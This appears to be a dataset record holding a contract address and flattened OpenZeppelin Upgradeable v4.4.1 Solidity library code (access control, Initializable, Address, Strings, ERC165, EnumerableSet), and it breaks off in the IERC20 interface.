[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,846
0x977af44Cb53a855BEaF57E94d06A72e361e82d71
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal onlyInitializing { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol) pragma solidity ^0.8.0; import "../IERC721ReceiverUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721HolderUpgradeable is Initializable, IERC721ReceiverUpgradeable { function __ERC721Holder_init() internal onlyInitializing { __ERC721Holder_init_unchained(); } function __ERC721Holder_init_unchained() internal onlyInitializing { } /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * 